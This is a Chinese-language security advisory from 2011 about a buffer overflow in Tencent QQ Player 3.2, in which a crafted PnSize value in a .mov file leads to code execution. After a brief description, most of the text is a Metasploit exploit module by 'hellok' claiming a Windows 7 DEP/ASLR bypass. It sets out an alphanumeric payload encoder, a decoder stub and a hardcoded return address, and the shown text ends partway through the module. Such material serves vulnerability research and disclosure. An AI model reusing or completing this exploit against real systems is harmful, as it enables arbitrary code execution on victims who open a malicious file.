QQ Player “PnSize”值缓冲区溢出漏洞

发布日期：2011-11-21
更新日期：2011-11-22

受影响系统：
Tencent QQ影音 3.2
描述：
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BUGTRAQ  ID: 50739

QQ影音(QQPlayer)是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。

QQPlayer在实现上存在缓冲区溢出漏洞，成功利用后可允许远程攻击者执行任意代码，造成拒绝服务。

<*来源：hellok
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

hellok （）提供了如下测试方法：

# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link:
# Version: 32_845(lastest)
# Tested on: WIN7
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::FILEFORMAT

def initialize(info = {})
        super(update_info(info,
            'Name'           => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
            'Description'    => %q{
                    This module exploits a vulnerability in QQPLAYER Player 3.2.
                When opening a .mov file containing a specially crafted PnSize value, an attacker
                may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'hellok',  #special thank corelanc0d3r for 'mona'
                ],
            'References'     =>
                [
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'          => 750,
                    'BadChars'       => "",  #Memcpy
                    'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
                    'DisableNops'    =>  'True',
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX',
                        },
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows 7', { 'Ret' => 0x67664cde } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => '11 21 2011',
            'DefaultTarget'  => 0))